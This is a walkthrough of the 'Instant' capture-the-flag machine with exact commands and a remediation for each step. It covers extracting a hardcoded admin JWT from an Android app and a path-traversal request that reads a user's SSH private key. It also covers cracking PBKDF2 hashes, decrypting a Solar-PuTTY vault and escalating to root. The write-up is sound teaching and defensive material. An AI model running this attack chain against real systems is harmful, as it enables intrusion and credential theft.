← all walkthroughs

Instant

Linux· Medium
owned
2026-09-03
time to own
39m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I downloaded and reverse-engineered the target's Android wallet app, recovering a hardcoded admin API token and hidden internal hostnames. That token unlocked an admin log-viewer endpoint with no path validation, which was abused to read the SSH private key straight off the server's filesystem, giving a foothold as the developer account 'shirohige' and the user flag.

Cracking that hash unlocked the PuTTY vault, exposing root's password and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceClient-side secret disclosure via mobile app decompilation (MITRE ATT&CK T1552.001)
Scanned the host and reverse-engineered the shipped Android app
A port scan showed only SSH and a web server. The web server offered a downloadable Android client, instant.apk. Decompiling it revealed internal virtual hosts not advertised anywhere else (swagger-ui.instant.htb, mywalletv1.instant.htb) and, inside the AdminActivities class, a hardcoded administrator API token that does not expire for years.
Apktool decompilation of instant.apk surfaced 'mywalletv1'/'swagger-ui' vhosts and an embedded Bearer JWT with role:Admin in AdminActivities.
Exact commands 4
Resolve the main vhost first.
echo "$TARGET instant.htb" | sudo tee -a /etc/hosts
Confirm only 22/tcp (ssh) and 80/tcp (http, Apache 2.4.58) are open.
nmap -sC -sV -p- $TARGET
Download the client the site offers.
curl -sS http://instant.htb/instant.apk -o instant.apk
Recover hidden vhosts, admin endpoints, and the embedded JWT.
apktool d -o instant-apktool instant.apk && grep -RInE 'mywalletv1|swagger-ui|Bearer|eyJ[A-Za-z0-9_-]+\.|AdminActivities|/api/v1/admin|read/log' instant-apktool
FixNever ship long-lived privileged tokens inside a distributed mobile appCritical
WeaknessThe Android client shipped with a hardcoded, valid-for-years administrator JWT embedded in its decompiled source, and disclosed internal-only hostnames not reachable from the public site.
FixRemove all hardcoded tokens/secrets from client builds; issue short-lived, per-user tokens obtained through an authenticated login flow instead. Treat any string shipped in an APK/IPA as public. Keep internal admin hostnames off of a network the mobile client can resolve, or place them behind a VPN/allowlist.
2ReconnaissanceAPI surface enumeration via exposed OpenAPI/Swagger spec
Mapped the full internal API using the disclosed admin token
Adding the discovered vhosts to local DNS and pulling the Swagger specification exposed the entire 'mywallet' API surface, including admin-only routes such as /api/v1/admin/read/log, which accepts a caller-supplied filename.
Apispec_1.json listed /api/v1/admin/read/log (param log_file_name:query), /api/v1/admin/view/logs, /api/v1/admin/add/user.
Exact commands 3
Resolve the internal vhosts found in the APK.
echo "$TARGET swagger-ui.instant.htb mywalletv1.instant.htb" | sudo tee -a /etc/hosts
Pull the OpenAPI spec.
curl --resolve swagger-ui.instant.htb:80:$TARGET -fsS http://swagger-ui.instant.htb/apispec_1.json -o apispec.json
List every route and its parameters.
jq -r '.paths | to_entries[] | .key as $p | .value | to_entries[] | [$p,.key,((.value.parameters // [])|map(.name+":"+(.in//""))|join(","))] | @tsv' apispec.json
3ExploitationPath Traversal / Arbitrary File Read (CWE-22, MITRE ATT&CK T1005)
Read the developer's SSH private key via path traversal in the admin log endpoint
The admin log-read endpoint accepted a filename with no path validation. Using the hardcoded Admin JWT, a traversal payload requesting '../.ssh/[REDACTED: recovered credential]' returned the SSH private key for the developer account 'shirohige' directly from the API response.
Request with log_file_name=../.ssh/[REDACTED: recovered credential] returned an OPENSSH PRIVATE KEY block (3072-bit RSA, shirohige@instant).
Exact commands 2
Traverse out of the logs directory to the .ssh folder; substitute the JWT recovered from the APK.
curl --resolve mywalletv1.instant.htb:80:$TARGET -sS -H 'Authorization: Bearer <admin-jwt-from-apk>' --get --data-urlencode 'log_file_name=../.ssh/id_rsa' http://mywalletv1.instant.htb/api/v1/admin/read/log -o id_rsa.json
Extract the raw key material from the JSON response.
jq -r 'to_entries[] | select(.key|contains("id_rsa")) | .value | join("")' id_rsa.json > shirohige_id_rsa && chmod 600 shirohige_id_rsa
FixValidate and sandbox filenames on the admin log-read endpointCritical
WeaknessThe /api/v1/admin/read/log endpoint passed a caller-supplied filename directly to the filesystem with no path canonicalization or allowlist, letting an authenticated admin-token holder traverse outside the logs directory and read arbitrary files, including SSH private keys.
FixResolve the requested path, canonicalize it, and reject any result that escapes the intended logs directory; better, accept only a log ID mapped server-side to a fixed filename rather than a raw path. Run the service under a user with no read access to other accounts' home directories.
4FootholdValid Accounts — SSH key authentication (MITRE ATT&CK T1078)
Logged in over SSH as shirohige and captured user.txt
The stolen private key authenticated directly to SSH as the developer account, confirming code execution and providing the first flag.
Ssh shirohige@$TARGET id returned uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development).
Exact commands 2
Confirm the shell and prove the access level (uid=1001).
ssh -i shirohige_id_rsa shirohige@$TARGET id
Read the user flag; the real value is <user.txt>.
ssh -i shirohige_id_rsa shirohige@$TARGET cat /home/shirohige/user.txt
5Privilege EscalationInsecure storage of credentials (CWE-522) / Unsecured Credentials: Credentials In Files (MITRE ATT&CK T1552.001)
Found a world-readable Solar-PuTTY session backup holding root's credentials
Enumeration of the home directory tree found /opt/backups/Solar-PuTTY/sessions-backup.dat, a SolarWinds Solar-PuTTY encrypted session store readable by any local user. This blob holds root's saved SSH/session password, but is protected by a master password.
-rw-r--r-- shirohige shirohige 1100 /opt/backups/Solar-PuTTY/sessions-backup.dat, world-readable.
Exact commands 2
Confirm the backup file exists and its permissive mode.
ssh -i shirohige_id_rsa shirohige@$TARGET find /opt/backups/Solar-PuTTY -maxdepth 3 -type f -printf '%M %u %g %s %p\n'
Pull a local working copy for offline decryption.
scp -i shirohige_id_rsa shirohige@$TARGET:/opt/backups/Solar-PuTTY/sessions-backup.dat .
FixRestrict permissions on credential-manager backups and avoid storing them unprotectedHigh
WeaknessA Solar-PuTTY session backup containing root's saved credentials was stored at /opt/backups/Solar-PuTTY/sessions-backup.dat with world-readable permissions, letting any local user copy and attack it offline.
FixSet backup file permissions to owner-only (chmod 600, correct owner), store such backups outside of user-reachable paths, and avoid retaining session-manager exports containing privileged credentials at all — rotate any password that was ever saved in one.
6Privilege EscalationOffline password cracking of a weak, reused credential (MITRE ATT&CK T1110.002)
Cracked an application password hash to unlock the credential vault
The Flask 'mywallet' application's SQLite database, readable under shirohige's own project directory, stored account passwords as Werkzeug PBKDF2-SHA256 hashes. Converting one hash to hashcat's format and cracking it with the rockyou wordlist recovered a weak password that also served as the Solar-PuTTY backup's master/decryption password, unlocking the vault and revealing root's stored password.
Instant.db held [REDACTED: recovered credential][REDACTED: recovered credential] hashes for instantAdmin and shirohige (600,000 iterations); the recovered plaintext also decrypted sessions-backup.dat, yielding root's password.
Exact commands 3
Pull the stored Werkzeug PBKDF2 hashes from the app database.
ssh -i shirohige_id_rsa shirohige@$TARGET 'sqlite3 /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db "select username,password from user;"'
-m 10900 = PBKDF2-HMAC-SHA256; crack the weak/reused application password.
hashcat -m 10900 -a 0 werkzeug_hashes.txt /usr/share/wordlists/rockyou.txt
Decrypt the Solar-PuTTY vault with the recovered password to reveal saved sessions/credentials, including root's.
python3 SolarPuttyDecrypt.py -f sessions-backup.dat -p '<cracked-password>'
FixEliminate weak/reused passwords and password-based root loginCritical
WeaknessAn application account's password was weak enough to crack from its Werkzeug PBKDF2 hash using a standard wordlist in minutes, and that same password also protected the credential vault holding the local root account's password — a single cracked password chained into full root compromise.
FixEnforce a strong, unique password policy (no dictionary-crackable passwords) and never reuse a password across an application account and a credential vault. Disable password-based 'su'/root login entirely in favor of sudo with per-user accountability, and require MFA or key-based access for any path to root.
7Privilege EscalationValid Accounts — local account password reuse (MITRE ATT&CK T1078.003)
Escalated to root using the recovered password
The password extracted from the Solar-PuTTY vault was the local root account's password. Using it with 'su -' over an interactive (pty-backed) SSH session elevated the shell to root, proven by an id command showing uid=0 before reading the root flag.
Su - root -c '/usr/bin/id' returned uid=0(root) gid=0(root) groups=0(root); root.txt read afterward.
Exact commands 4
Open an interactive (pty) SSH session — su requires a real tty for the password prompt.
ssh -tt -i shirohige_id_rsa shirohige@$TARGET
At the shell prompt, switch to root; enter the password recovered from the vault when prompted.
su -
Prove escalation: expect uid=0(root).
id
Read the root flag; the real value is <root.txt>.
cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp